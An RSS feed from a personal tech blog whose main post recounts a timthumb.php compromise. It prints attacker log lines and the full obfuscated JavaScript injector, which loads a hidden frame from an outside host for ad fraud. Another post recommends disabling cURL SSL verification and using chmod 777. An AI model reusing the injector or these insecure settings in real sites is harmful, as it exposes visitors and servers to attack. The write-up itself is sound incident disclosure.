<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:series="http://unfoldingneurons.com/"
	>

<channel>
	<title>Stephen Foskett, Pack Rat &#187; WordPress Archives  &#8211; Stephen Foskett, Pack Rat</title>
	<atom:link href="http://blog.fosketts.net/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fosketts.net</link>
	<description>Understanding the accumulation of data</description>
	<lastBuildDate>Fri, 10 Feb 2012 17:40:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com" />
	<atom:link rel="hub" href="http://superfeedr.com/hubbub" />
			<item>
		<title>How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)</title>
		<link>http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/</link>
		<comments>http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 22:39:08 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[securi.net]]></category>
		<category><![CDATA[supercache]]></category>
		<category><![CDATA[TimThumb]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=6737</guid>
		<description><![CDATA[This week, two blog readers let me know what Google Chrome was warning them of malware on my blog. I dived in and discovered that, indeed, a nasty, obfuscated JavaScript attack had made its way into my site. Although I was disappointed by the lack of clarity about how to fix it, I believe I was able to remove it last night.]]></description>
			<content:encoded><![CDATA[<p>This week, two blog readers let me know what Google Chrome was warning them of malware on my blog. I dived in and discovered that, indeed, a nasty, obfuscated JavaScript attack had made its way into my site. Although I was disappointed by the lack of clarity about how to fix it, I believe I was able to remove it last night. Here&#8217;s what I did.</p>
<h3>A Nasty Hole in Timthumb.php</h3>
<p>I&#8217;ve used the StudioPress Genesis themes for over a year now, but previously used a variety of others. One, Metamorphosis, included <a href="http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/" >a handy thumbnail generator</a> called <a rel="nofollow" href="http://code.google.com/p/timthumb/" >Timthumb.php</a> (or more precisely, thumb.php).</p>
<p>It appears that someone figured out <a href="http://markmaunder.com/2011/08/02/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/" >how to exploit Timthumb</a> to insert arbitrary code in WordPress blogs.</p>
<p>Since I was no longer using that theme, I had forgotten it was even installed. But it seems that users can manually request theme files even if the theme isn&#8217;t activated.</p>
<p>On Sunday, someone from IP address 91.196.216.20 (specenergo2.ru) requested dozens of different themes that use timthumb.php or thumb.php. They hit the jackpot with the following request:</p>
<pre>91.196.216.20 - - [22/Jan/2012:02:00:52 +0000] "GET /wp-content/themes/metamorphosis/thumb.php HTTP/1.1" 400 319 "-" "-"</pre>
<p>This was clearly an automated attack, and provided a solid clue about the hack.</p>
<p>Two days later, 81.95.114.105 returned and used thumb.php to add a file to my cache directory. He then executed that php file many times, injecting obfuscated JavaScript into my blog files:</p>
<pre>81.95.114.105 - - [24/Jan/2012:10:12:39 +0000] "GET /2008/07/26/move-os-x-time-machine-backups-new-disk//wp-content/plugins/backups/cache/68d579e3ed4163b172ee2b887dc8ba54.php HTTP/1.1" 301 839 "-" "Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1"</pre>
<p>I&#8217;m assuming this was another person, and that the IP isn&#8217;t a definitive indication of where the hacker was. But they had succeeded in getting their JavaScript junk into my WordPress theme.</p>
<h3>Hello, MW:JS:150</h3>
<p>The inserted JavaScript is pretty clever. It&#8217;s obfuscated in a number of ways, but pretty obvious in the header of the blog:</p>
<pre>&lt;script type='text/javascript'&gt;var a=!1; if(-1==document.cookie.indexOf("lonly")){dhf="ht";dif="\u002F\u0069\u006E\u002E\u0063";var d=new Date;dcf="\u0067\u0069\u003F\u0032";d.setTime(d.getTime());ddf="blood.of.cm";ed=new Date(d.getTime()+72E6);dtf="tp://";document.cookie="lonly="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var e=-1!=navigator.userAgent.toLowerCase().indexOf("firefox"),f="1",j=function(){};j.prototype={b:function(){i=43724;this.pa="";u="u";return df},a:function(){q="q";dN=49709;this.l=46019;w="";rJ=a;this.V="";var g=document; cR=kQ=a;this.fa="";var k=window;dO="";var h=this;this.H=this.T="";this.u=64509;this.F="rQ";pK="";this.Q=39122;this.na="dY";this.d="fA";this.ka="dE";fQ=cD="";this.I="sE";try{uK=17600;this.z="pC";this.ga="bZR";this.g=41545;cL=pW="";this.v="nU";wK=a;this.h=eSU="";rO=pOR=this.s=a;this.P=eK=kVQ="";qB=a;mF="mF";this.ia=a;this.ba="";this.ca="bY";vW="getsetAttrisdf";this.m="";this.ja="zS";wE=this.i=a;this.ha="";this.n=a;this.A=55903;this.j=33170;gK=62679;var b=[];qR=vS=a;this.Z="";e||(f="0");b.push("\x68\x65\x69\x67\x68\x74", "\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"body","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",f,g,"\u0073\u0072\u0063");this.aa=a;this.la=42071;this.K=21002;eO=64506;this.O=55314;yT="";hS=a;this.L=aU=uKD="";fK=a;yI=this.G=this.C="";wI="wI";sJ=11632;this.r=a;rG="";this.M=a;this.J=40171;aA=4550;gL=40598;var l=b[2][b[1]](3,16);this.c=this.N=nZ="";this.S="uX";gP="gP";this.t="nAO";var m=b[4][b[1]](3,6);cO=52931;this.R=a;this.da=44254;this.f=21921;vK=m+"ame";tI="tI";lO="lO";this.q="mO";jZ=24453;var n=b[5][b[1]](3,11);this.oa=this.qa= "";p=n+"bute";this.ma="dH";qU=this.Y="";rJQ=a;var o=h.b();this.$=tT="";var c=b[9][l](vK);this.W="";this.k="iZ";c[b[10]]=o;nD=a;mIO="mIO";this.w="";c[b[3]]=b[8];oH=40281;this.p="";kM="kM";c[b[0]]=b[8];this.B=58620;mH=this.X="";bW="bW";wY="";b[9][b[6]][b[7]](c);kR="";this.U=a;fVT=""}catch(s){hK="",this.ea=45116,lKT=a,this.D="rD",g.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E"),this.o=a,uIE="",this.e="fI",k.setTimeout(function(){h.a()},233),iGB=29282,zN=6951}iS=""}};cB="";var r=new j;gT="";r.a()};&lt;/script&gt;</pre>
<p>This code apparently caused site visitors to open an invisible frame with ads in it. It sets a cookie so it won&#8217;t run more than once, and also checks to hide itself from many spiders and search engines.</p>
<p>So it&#8217;s basically a web ad scam, intended to defraud someone like Yahoo by making it appear their ads are getting more impressions and clicks than they really are.</p>
<p>I was able to detect the malware using <a href="http://sitecheck.sucuri.net/" >sitecheck.sucuri.net</a>, which is where this name comes from. Note that they claim it comes from infected desktops, but I am fairly certain it came instead from the Timthumb php attack.</p>
<h3>Cleaning Up</h3>
<p>Cleanup was not at all straightforward, since it was mixed with detection and deduction.</p>
<p>The first thing to do was protect Timthumb from further exploits. I installed <a href="http://codegarage.com/blog/2011/09/wordpress-timthumb-vulnerability-scanner-plugin/" >Timthumb Scanner</a>, which detects and updates compromised versions of Timthumb.php.</p>
<p>Next, I reinstalled WordPress and my themes. Then I blew away my Super Cache files.</p>
<p>I also changed my blog password and <a href="http://codex.wordpress.org/Editing_wp-config.php#Security_Keys" >WordPress cookie salts</a>.</p>
<p>Finally, just to be safe, I ran <a href="http://www.chkrootkit.org/download/" >chkrootkit</a> and changed my UNIX passwords.</p>
<p>This appears to have eliminated this particular attack. I hope this helps!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/"  rel="bookmark" class="crp_title">How To Make TimThumb Play Nicely With TanTan&#8217;s WordPress S3 Plugin</a></li><li><a href="http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/"  rel="bookmark" class="crp_title">SlideShare Embed Injects ScoreCard &#8220;Market Research&#8221; Junk</a></li><li><a href="http://blog.fosketts.net/search/"  rel="bookmark" class="crp_title">Google Custom Search Results</a></li><li><a href="http://blog.fosketts.net/2010/10/29/infographic-how-fast-storage/"  rel="bookmark" class="crp_title">How Fast Is It? A Storage Infographic</a></li><li><a href="http://blog.fosketts.net/2009/05/27/google-recalculated-pagerank/"  rel="bookmark" class="crp_title">Google Just Recalculated PageRank!</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2012. |
<a href="http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/">How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SlideShare Embed Injects ScoreCard &#8220;Market Research&#8221; Junk</title>
		<link>http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/</link>
		<comments>http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/#comments</comments>
		<pubDate>Fri, 20 May 2011 15:30:59 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[comscore]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[slideshare]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=5504</guid>
		<description><![CDATA[It appears that SlideShare is injecting a tracking code from "ScoreCard Research", a research firm, when their slideshow embed code is used. This would be bad enough on its own, but this embedded JavaScript seems to interfere with the WordPress editor and I saw no indication of an opt-in or privacy policy regarding this.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve used SlideShare for a while, and enjoy embedding the viewer into blog posts about <a href="http://blog.fosketts.net/about/stephen-foskett/speaking-engagements/" >my conference presentations</a>. But lately I&#8217;ve noticed weird behavior in the WordPress editor and set out to determine what was going on. It appears that SlideShare is injecting a tracking code from &#8220;ScoreCard Research&#8221; when their slideshow embed code is used. This would be bad enough on its own, but this embedded JavaScript seems to interfere with the WordPress editor and I saw no indication of an opt-in or privacy policy regarding this.</p>
<p>The embedded script is automatically added to the bottom of the editor window when the slide share embed code is pasted in. It appears to re-add the script multiple times as images are uploaded and inserted or one switches between the visual and HTML displays of the WordPress editor. My latest such post, a summary of <a href="http://blog.fosketts.net/2011/05/20/fcoe-iscsi-convergence-ethernet/" >my Interop presentation on FCoE versus iSCSI</a>, contained half a dozen copies of this script code!</p>
<blockquote><p>Here&#8217;s a copy of the injected code:</p>
<p>&lt;script src=&#8221;http://b.scorecardresearch.com/beacon.js?c1=7&amp;amp;c2=7400849&amp;amp;c3=1&amp;amp;c4=&amp;amp;c5=&amp;amp;c6=&#8221;&gt;&lt;/script&gt;</p></blockquote>
<p>SlideShare <a href="http://www.clickonf5.org/wordpress/slideshare-embed-code-adds-malware-script-wordpress/12175#" >took exception</a> at being labeled a malware injector, claiming this is “just a comscore analytics link”, but malware is as malware does, and this tracking script interferes with the operation of the WordPress editor and is added without consent. I call that malware, and I call foul. If SlideShare wants to monitor the use of their embedded slideshows, they should simply add tracking to their own JavaScript code, rather than clumsily adding a third-party script.</p>
<p>I recommend switching to HTML mode and removing the script before pressing &#8220;Publish&#8221; whenever using SlideShare embeds. And I suggest reconsidering whether you want to use a service that does this sort of thing. I know I&#8217;m considering dumping SlideShare and deleting my account!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/"  rel="bookmark" class="crp_title">How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)</a></li><li><a href="http://blog.fosketts.net/search/"  rel="bookmark" class="crp_title">Google Custom Search Results</a></li><li><a href="http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/"  rel="bookmark" class="crp_title">How To Make TimThumb Play Nicely With TanTan&#8217;s WordPress S3 Plugin</a></li><li><a href="http://blog.fosketts.net/2010/01/15/ramdisk-mac-os/"  rel="bookmark" class="crp_title">Ramdisks: Back From the Brink of Extinction</a></li><li><a href="http://blog.fosketts.net/2010/08/06/automate-get-send-clipboard-mac-os-screen-sharing/"  rel="bookmark" class="crp_title">How To Automate &#8220;Get/Send Clipboard&#8221; in Mac OS X Screen Sharing</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2011. |
<a href="http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/">SlideShare Embed Injects ScoreCard &#8220;Market Research&#8221; Junk</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back From the Pile: Interesting Links, January 14, 2011</title>
		<link>http://blog.fosketts.net/2011/01/17/pile-interesting-links-january-14-2011/</link>
		<comments>http://blog.fosketts.net/2011/01/17/pile-interesting-links-january-14-2011/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 13:49:34 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Enterprise storage]]></category>
		<category><![CDATA[Everything]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Virtual Storage]]></category>
		<category><![CDATA[10 GbE]]></category>
		<category><![CDATA[10 gigabit Ethernet]]></category>
		<category><![CDATA[Atrix]]></category>
		<category><![CDATA[Brandon Carroll]]></category>
		<category><![CDATA[CES]]></category>
		<category><![CDATA[convergence]]></category>
		<category><![CDATA[Derek Schauland]]></category>
		<category><![CDATA[digest]]></category>
		<category><![CDATA[ExecEvent]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Greg Ferro]]></category>
		<category><![CDATA[Howard Marks]]></category>
		<category><![CDATA[Network Computing]]></category>
		<category><![CDATA[Nigel Poulton]]></category>
		<category><![CDATA[PCIe]]></category>
		<category><![CDATA[SSD]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=4774</guid>
		<description><![CDATA[This regular series features highlights from the week. It was another big one for me, with my Network Computing writing gig starting up, the announcement of my Storage for Server Virtualization seminar series, and the finalization of Tech Field Day for February.]]></description>
			<content:encoded><![CDATA[<p>This regular series features highlights from the week. It was another big one for me, with my <a href="http://www.networkcomputing.com/author_profile.php?name=sfoskett&amp;page_no=1"  target="_blank">Network Computing </a><a href="http://www.networkcomputing.com/author_profile.php?name=sfoskett&amp;page_no=1"  target="_blank">writing gig</a> starting up, the announcement of my <a href="http://storagedecisions.techtarget.com/seminars/storage_virtualization.html"  target="_blank">Storage for Server Virtualization seminar series</a>, and the finalization of <a href="http://techfieldday.com"  target="_blank">Tech Field Day</a> for February.</p>
<ul class="scrd_digest">
<li>Things I wrote
<ul>
<li>I kicked off my new Network Computing column with this one: <a href="http://www.networkcomputing.com/data-networking-management/ethernet-has-a-goldilocks-problem.php" rel="external" >Ethernet Has A Goldilocks Problem</a> (and here&#8217;s a response: <a href="http://www.itbusinessedge.com/cm/blogs/cole/network-convergence-more-than-just-10-gbe/?cs=45066" rel="external" >Network Convergence: More than Just 10 GbE</a>)</li>
<li>TSIA! <a href="http://searchstorage.techtarget.com/tip/0,289483,sid5_gci1525453,00.html"  target="_blank">Is PCIe SSD right for you? Deploying PCI Express SSD devices</a></li>
<li>I haven&#8217;t written for Silicon Angle in a while, but thought this was best there: <a href="http://siliconangle.com/blog/2011/01/13/from-scale-out-to-big-data-to-the-cloud/" rel="external" >From Scale-Out to Big Data to the Cloud</a></li>
<li><a href="http://blog.fosketts.net/2011/01/11/execevent-palo-alto/" >Will You Be At The ExecEvent?</a> I will, and it&#8217;s just two weeks away!</li>
<li>Sometimes you have an idea: <a href="http://blog.fosketts.net/2011/01/12/requirements-overcome-inertia/" >The Three Requirements To Overcome Inertia</a></li>
<li><a href="http://blog.fosketts.net/2011/01/12/open-source-2011-storage-virtualization-seminar/" >I’m Open-Sourcing My 2011 Storage For Virtual Environments Seminar!</a> So now <a href="http://blog.fosketts.net/2011/01/13/storage-server-virtualization-numbers/" >I Need Numbers</a>!</li>
<li><a href="http://blog.fosketts.net/2011/01/13/apple-breaks-ics-calendar-autosubscription-ios-42/" >Apple Breaks ICS Calendar Auto-Subscription In iOS 4.2</a></li>
</ul>
</li>
<li>Other great links
<ul>
<li>Derek Schauland asks the eternal datacenter question: <a rel="nofollow" href="http://feedproxy.google.com/~r/TechnicallySpeakingTechnet/~3/myBebVCruvo/" rel="external" >Where can I plug in?</a></li>
<li><a rel="nofollow" href="http://feedproxy.google.com/~r/TechnicallySpeakingTechnet/~3/myBebVCruvo/" rel="external" ></a>Brandon Carroll documents that <a rel="nofollow" href="http://feedproxy.google.com/~r/typepad/cFwO/~3/JEi7eYNAuXI/" rel="external" >Solarwinds Install is Easy as Pie!</a></li>
<li>I love Greg Ferro&#8217;s Network ZEN, but this week&#8217;s was especially awesome: <a href="http://etherealmind.com/network-zen-a-switch/" rel="external" >Network ZEN: A Switch</a></li>
<li>Nigel Poulton puts together some amazing storage content. Case in pout: <a href="http://blog.nigelpoulton.com/vmax-vs-vsp/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed" rel="external" >VMAX vs VSP</a></li>
<li>Seriously, Google? <a href="http://techvirtuoso.com/2011/01/11/google-stripping-support-for-h-264-video-out-of-chrome/" rel="external" >Google stripping support for H.264 video out of Chrome</a></li>
<li>The most-scary WordPress article I&#8217;ve read in a long time: <a rel="nofollow" href="http://feedproxy.google.com/~r/Wpmu-Wordpress-Mu-PluginsThemesAndNews/~3/6vCXVci5h4c/" rel="external" >Why You Should Never Search For Free WordPress Themes in Google or Anywhere Else</a></li>
<li>Howard Marks takes on a topic we discussed last time I was in New York: <a rel="nofollow" href="http://www.google.com/url?sa=X&amp;q=http://www.networkcomputing.com/data-protection/more-on-advanced-erasure-codes.php&amp;ct=ga&amp;cad=CAcQARgAIAAoATAAOABA1Pus6QRIAlgBYgVlbi1VUw&amp;cd=kPtDmngjVM4&amp;usg=AFQjCNHcH09O_3hJh-r7LrWGjMtro5RvBA" rel="external" >More on Advanced Erasure Codes</a></li>
<li><a rel="nofollow" href="http://davesimpsonsstorageblog.blogspot.com/2011/01/top-five-storage-technologies-for-2011.html" rel="external" >Top Five Storage Technologies for 2011</a> &lt;- Good guess!</li>
<li>The only insanely great thing to come out of CES: <a href="http://www.zdnet.com/blog/btl/breakthrough-device-of-ces-2011-motorola-atrix-phone-pc/43406" rel="external" >Breakthrough device of CES 2011: Motorola Atrix = Phone + PC</a></li>
<li>I love words <a href="http://matadornetwork.com/abroad/20-awesomely-untranslatable-words-from-around-the-world/" rel="external" >20 Awesomely Untranslatable Words from Around the World</a></li>
</ul>
</li>
</ul>
<p>Subscribe to <a rel="nofollow" href="http://www.google.com/reader/shared/sfoskett" rel="me"  target="_blank">my Google Reader feed</a> or <a href="http://twitter.com/sfoskett" rel="me"  target="_blank">follow me on Twitter</a> to see these in real-time.</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2011/03/25/pile-interesting-links-march-25-2011/"  rel="bookmark" class="crp_title">Back From the Pile: Interesting Links, March 25, 2011</a></li><li><a href="http://blog.fosketts.net/2011/07/08/pile-interesting-links-july-8-2011/"  rel="bookmark" class="crp_title">Back From the Pile: Interesting Links, July 8, 2011</a></li><li><a href="http://blog.fosketts.net/2011/03/18/pile-interesting-links-march-18-2011/"  rel="bookmark" class="crp_title">Back From the Pile: Interesting Links, March 18, 2011</a></li><li><a href="http://blog.fosketts.net/2011/03/11/pile-interesting-links-march-11-2011/"  rel="bookmark" class="crp_title">Back From the Pile: Interesting Links, March 11, 2011</a></li><li><a href="http://blog.fosketts.net/2011/03/05/pile-interesting-links-march-4-2011/"  rel="bookmark" class="crp_title">Back From the Pile: Interesting Links, March 4, 2011</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2011/01/17/pile-interesting-links-january-14-2011/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2011. |
<a href="http://blog.fosketts.net/2011/01/17/pile-interesting-links-january-14-2011/">Back From the Pile: Interesting Links, January 14, 2011</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/enterprisestorage/" title="View all posts in Enterprise storage" rel="category tag">Enterprise storage</a>, <a href="http://blog.fosketts.net/category/everything/" title="View all posts in Everything" rel="category tag">Everything</a>, <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>, <a href="http://blog.fosketts.net/category/everything/virtualstorage/" title="View all posts in Virtual Storage" rel="category tag">Virtual Storage</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2011/01/17/pile-interesting-links-january-14-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Make TimThumb Play Nicely With TanTan&#8217;s WordPress S3 Plugin</title>
		<link>http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/</link>
		<comments>http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/#comments</comments>
		<pubDate>Wed, 06 Oct 2010 16:12:10 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Amazon S3]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[TanTan]]></category>
		<category><![CDATA[TimThumb]]></category>
		<category><![CDATA[Woo Themes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=3829</guid>
		<description><![CDATA[I'm loving the Woo theme for this blog, and especially love that they integrated the cool TimThumb script to automatically resize thumbnails for the main page. But everything stopped working when I added TanTan's Wordpress-S3 plugin to store my images on Amazon's servers. Luckily, I found a fix!]]></description>
			<content:encoded><![CDATA[<div id="attachment_3830" class="wp-caption aligncenter" style="width: 310px;  border: 1px solid #dddddd; background-color: #f3f3f3; padding-top: 4px; margin: 10px; text-align:center; display: block; margin-right: auto; margin-left: auto;"><a href="http://static.fosketts.net/wp-content/uploads/2010/10/Pink-tree-nut.jpg" ><img class="size-medium wp-image-3830" title="SONY DSC" src="http://static.fosketts.net/wp-content/uploads/2010/10/Pink-tree-nut-300x201.jpg" alt="" width="300" height="201" /></a><p style=' padding: 0 4px 5px; margin: 0;'  class="wp-caption-text">Just a random photo to demonstrate that TimThumb is working properly with Amazon S3</p></div>
<p>I&#8217;m loving the <a href="http://www.woothemes.com/"  target="_blank">Woo</a> theme for this blog, and especially love that they integrated the cool <a href="http://www.darrenhoyt.com/2008/04/02/timthumb-php-script-released/"  target="_blank">TimThumb</a> script to automatically resize thumbnails for the main page. But everything stopped working when I added <a href="http://tantannoodles.com/toolkit/wordpress-s3/"  target="_blank">TanTan&#8217;s WordPress-S3 plugin</a> to store my images on Amazon&#8217;s servers. Luckily, I found a fix!</p>
<p>The first step was upgrading Woo&#8217;s version of TimThumb.php. I downloaded <a rel="nofollow" href="http://code.google.com/p/timthumb/"  target="_blank">the latest version from Google Code</a> and replaced the thumb.php file in the theme directory (under wp-content/themes).</p>
<p>Next, I had to add Amazon S3 to the &#8220;allowedSites&#8221; array in thumb.php. I added the following line:</p>
<pre> 's3-1-w.amazonaws.com',</pre>
<p>I also had to tell CURL to allow the SSL connection by adding the following line under &#8220;$ch = curl_init ($src)&#8221;, around line 606:</p>
<pre> curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);</pre>
<p>Then we need two subdirectories, temp and cache, in the same directory as the plugin. Make sure both are writable with an old &#8220;chmod 777&#8243;. I found that Woo automatically created the &#8220;cache&#8221;, but the &#8220;temp&#8221; was AWOL.</p>
<p>That&#8217;s it! Now that I did this mod, TimThumb and WordPress-S3 are playing nicely and all is right with the world. The image above (my own photo) was uploaded and thumbnailed automatically!</p>
<div id="crp_related"><h3>You might also want to read these other posts...</h3><ul><li><a href="http://blog.fosketts.net/2012/01/26/blog-infected-malware-fixed-mwjs150/"  rel="bookmark" class="crp_title">How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)</a></li><li><a href="http://blog.fosketts.net/2011/05/20/slideshare-embed-injects-scorecard-market-research-junk/"  rel="bookmark" class="crp_title">SlideShare Embed Injects ScoreCard &#8220;Market Research&#8221; Junk</a></li><li><a href="http://blog.fosketts.net/2011/05/24/boxcar-growl-plugin-system-preferences-pane/"  rel="bookmark" class="crp_title">Boxcar Growl Plugin Not Working?</a></li><li><a href="http://blog.fosketts.net/2008/03/07/google-chatback-rocks-and-rolls/"  rel="bookmark" class="crp_title">Google Chatback Rocks and Rolls</a></li><li><a href="http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/"  rel="bookmark" class="crp_title">A High-Performance, Low-Memory Apache/PHP Virtual Private Server</a></li></ul></div><script src="http://feeds.feedburner.com/~s/sfoskett?i=http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/" type="text/javascript" charset="utf-8"></script><hr />
<p><small>© sfoskett for <a href="http://blog.fosketts.net">Stephen Foskett, Pack Rat</a>, 2010. |
<a href="http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/">How To Make TimThumb Play Nicely With TanTan&#8217;s WordPress S3 Plugin</a>
<br/>
This post was categorized as <a href="http://blog.fosketts.net/category/everything/personal/" title="View all posts in Personal" rel="category tag">Personal</a>. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.fosketts.net/2010/10/06/timthumb-php-tantan-wordpress-s3-plugin/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<series:name><![CDATA[Web Hosting]]></series:name>
	</item>
		<item>
		<title>A High-Performance, Low-Memory Apache/PHP Virtual Private Server</title>
		<link>http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/</link>
		<comments>http://blog.fosketts.net/2010/07/30/high-performance-memory-apache-php-virtual-private-server/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 18:16:38 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[Computer History]]></category>
		<category><![CDATA[Everything]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[FCGI]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[mod_fcgi]]></category>
		<category><![CDATA[mpm-worker]]></category>
		<category><![CDATA[Netscape]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php-cgi]]></category>
		<category><![CDATA[Slicehost]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WP-SuperCache]]></category>

		<guid isPermaLink="false">http://blog.fosketts.net/?p=3472</guid>
		<description><![CDATA[I've previously written about my Multi-Server Web Hosting Environment and the how I Tuned Lighttpd For Linux to run as well as possible. But I've been having weird issues with that setup lately and was forced to rebuild the server entirely. While I was at it, I decided to give Apache another try, since the lighttpd hackery I needed to perform to get things like WP-SuperCache running were starting to get me down. The configuration documented here uses Ubuntu Lucid (10.04), Apache 2.2, FCGI, and PHP-CGI tuned for a 512 MB virtual private server (VPS) running on Rackspace Slicehost.]]></description>
